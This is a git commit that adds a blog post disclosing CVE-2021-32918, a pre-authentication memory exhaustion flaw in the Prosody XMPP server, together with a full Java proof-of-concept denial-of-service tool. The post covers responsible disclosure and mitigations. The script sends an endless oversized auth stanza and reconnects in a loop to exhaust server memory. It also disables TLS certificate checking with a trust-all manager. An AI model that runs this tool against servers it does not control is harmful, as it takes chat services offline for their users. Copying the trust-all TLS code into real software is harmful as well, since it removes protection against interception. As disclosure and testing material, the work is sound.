Add eatxmempp: CVE-2021-32918

This commit is contained in:
Travis Burtrum 2021-05-22 23:01:42 -04:00
parent 4577aca68d
commit d26723cf28
2 changed files with 183 additions and 0 deletions

View File

@ -0,0 +1,28 @@
+++
title = "eatxmempp: CVE-2021-32918"
date = 2021-05-22
category = "XMPP"
author = "moparisthebest"
+++
The discovery and mitigation of [CVE-2021-32918](https://prosody.im/security/advisory_20210512/), code to exploit it, and some thoughts about XMPP security.
<!-- more -->
A good library exposes an API that makes it easy to do the right thing, and hard to impossible to do the incorrect thing. OpenSSL is a classic example of a bad library. On the other hand, all XMPP libraries I've seen are of *very* high quality. XMPP is a message passing protocol, individual messages are nicely contained in individual stanzas and sent across a TLS/TCP stream. This means XMPP library APIs universally expose a way to let you send a stanza, usually by sending objects serialized to proper XMPP stanzas, or raw XML that is always checked for correctness/completeness before sending. This is great for writing tools/clients/servers using XMPP, but this is TERRIBLE for testing security etc.
Thus was born the simplest attack ever, what if I just sent an unlimited-length stanza? I wrote up some quick java code, pointed it to my prosody, and watched the normal 60 MB memory usage climb to 4.4 GB within seconds, I quickly turned it off, hoping GC would catch up, but it never did. I proceeded to email developers@prosody.im about this security issue (pre-auth memory exhaustion DOS), as well as contact other server developers to ask if it might affect them. I recall contacting openfire, tigase, and m-link devs, and an ejabberd user, all of which I sent my test program and all reported no problems on their end, I never verified this personally however.
MattJ (prosody dev) was very responsive, thanked me for my report and the POC, and promised to look into it. The obvious solution was simple stanza size limits, but when [Prosody 0.11.7 was released](https://blog.prosody.im/prosody-0.11.7-released/) allowing for configurable stanza sizes (but not changing the default of 10 MB), I eventually got around to testing it and realized it didn't actually fix things at all. Rather than 4.4 GB in seconds, it was more like a minute, not good. After another informal talk in the prosody MUC I was convinced this wasn't fixable in Lua, at least not easily, and certainly not by me. I decided to solve the problem myself with a reverse proxy written in Rust to limit stanza sizes before they even *reached* prosody, and Lua's bad GC. [xmpp-proxy](https://code.moparisthebest.com/moparisthebest/xmpp-proxy) ([mirror](https://github.com/moparisthebest/xmpp-proxy)) was created. I ran it in front of my prosody for a couple weeks and prepared to go public with the POC and encourage people to fix it by running xmpp-proxy too, until I read about the awesome stuff [vaxbot](https://yaxim.org/blog/2021/04/09/vaxbot-performance-challenge/) was doing. The admin of yaxim.org was already going through herculean efforts putting up with the load of vaxbot, and I couldn't risk dropping a POC and some script kiddie destroying his server with it. I contacted him and he invited me to discuss it with the prosody devs once again. Long story short, MattJ ended up discovering massive regressions in the Lua garbage collector in versions 5.2 and 5.3, and, through much effort, put together a series of mitigations that adequately solved this issue on those versions, a combination of:
1. increased GC speed
2. smaller default stanza size limits (bonus: now matches ejabberd's defaults)
3. bandwidth limits (without these, GC uses too much CPU)
There has been some pushback from some operators over the last two mitigations, but hopefully this additional information and the release of the POC will change their mind. There is nothing special or magical about this code, it simply sends an unlimited-size stanza, and when it gets disconnected, re-connects and sends another unlimited-size stanza again, over and over, until you kill it. Anyone could do it in a few lines of code in any language. Needless to say, you should only point this to servers you control or have permission to run it against. It should run with any version of Java 11+. I call it [eatxmempp](https://www.moparisthebest.com/eatxmempp).
I think the lesson here is libraries should enforce correctness, but should have an escape hatch for doing bad things, to enable testing other things. I put in a [PR for xmpp-rs](https://gitlab.com/xmpp-rs/xmpp-rs/-/merge_requests/109) to do this, and implemented sending an unbounded stream of data in [sendxmpp-rs](https://code.moparisthebest.com/moparisthebest/sendxmpp-rs) ([mirror](https://github.com/moparisthebest/sendxmpp-rs)) so it can be used to test these kind of things too. (though, currently, only after authentication)
Where does xmpp-proxy go from here? Well I'm still running it in front of my servers, and am in the process of prototyping XMPP-over-QUIC with it before writing a XEP and/or RFC. More to come soon.
For questions/comments, please comment on the fediverse post [here](https://moparisthe.best/notice/A7WmJC0W8180Ae3tSq)

155
static/eatxmempp Executable file
View File

@ -0,0 +1,155 @@
#!/usr/bin/java --source 11
import javax.net.ssl.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.security.cert.CertificateException;
public class eatxmempp {
public static void main(String[] args) throws Throwable {
final var domain = "example.org";
final var hostname = "xmpp.example.org";
final var port = 443;
final var directTLSNotPlain = true; // if true, direct TLS, if false, doesn't do TLS at all
while (true) {
try (var client = directTLSNotPlain ?
Client.connectDirectTLSOnly(hostname, port) : Client.connectPlainOnly(hostname, port)) {
client.startDebugOutputThread();
client.sendMessageDebug("<?xml version='1.0'?>\n" +
"<stream:stream xmlns=\"jabber:client\" version=\"1.0\" xmlns:stream=\"http://etherx.jabber.org/streams\" to=\"" + domain + "\" xml:lang=\"en\" >\n" +
"<auth xmlns=\"urn:ietf:params:xml:ns:xmpp-sasl\" mechanism=\"PLAIN\">");
for (int x = 0; x < 1_000_000_000; ++x) {
client.sendMessageNoFlush("<woot>blablablatnhnthnthnthsnthsnthsnthsnthsnthsnthsnthnstht</woot>");
}
client.sendMessageDebug("</auth>");
} catch (Exception e) {
e.printStackTrace();
}
}
}
public static class Client implements AutoCloseable {
public static Client connectDirectTLSOnly(final String hostname, final int port) throws Exception {
// this trusts any cert, don't use for real
TrustManager[] trustAllCerts = new TrustManager[]{
new X509ExtendedTrustManager() {
@Override
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
}
@Override
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
}
@Override
public void checkClientTrusted(java.security.cert.X509Certificate[] xcs, String string, Socket socket) throws CertificateException {
}
@Override
public void checkServerTrusted(java.security.cert.X509Certificate[] xcs, String string, Socket socket) throws CertificateException {
}
@Override
public void checkClientTrusted(java.security.cert.X509Certificate[] xcs, String string, SSLEngine ssle) throws CertificateException {
}
@Override
public void checkServerTrusted(java.security.cert.X509Certificate[] xcs, String string, SSLEngine ssle) throws CertificateException {
}
}
};
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
final var socket = (SSLSocket) sc.getSocketFactory().createSocket();
final var sslParameters = socket.getSSLParameters();
sslParameters.setProtocols(new String[]{"TLSv1.2"});
sslParameters.setApplicationProtocols(new String[]{"xmpp-client"});
socket.setSSLParameters(sslParameters);
socket.connect(new InetSocketAddress(hostname, port));
return new Client(socket);
}
public static Client connectPlainOnly(final String hostname, final int port) throws Exception {
final var socket = new Socket();
socket.connect(new InetSocketAddress(hostname, port));
return new Client(socket);
}
private final Socket socket;
private final InputStream is;
private final OutputStream os;
private Client(Socket socket) throws IOException {
this.socket = socket;
this.is = socket.getInputStream();
this.os = socket.getOutputStream();
}
public Client startDebugOutputThread() {
new Thread(() -> {
try {
final var buff = new byte[1];
while (is.read(buff) != -1) {
System.err.print((char) buff[0]);
}
System.err.println("<!-- eof input stream -->");
} catch (Throwable e) {
e.printStackTrace();
}
}).start();
return this;
}
public void sendMessageNoFlush(final String msg) throws IOException {
os.write(msg.getBytes(StandardCharsets.UTF_8));
}
public void sendMessage(final String msg) throws IOException {
sendMessageNoFlush(msg);
os.flush();
}
public void sendMessageDebug(final String msg) throws IOException {
System.out.println("\n<!-- sending message -->");
System.out.println(msg);
sendMessage(msg);
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
sendMessageDebug("</stream:stream>");
os.close();
is.close();
socket.close();
}
}
}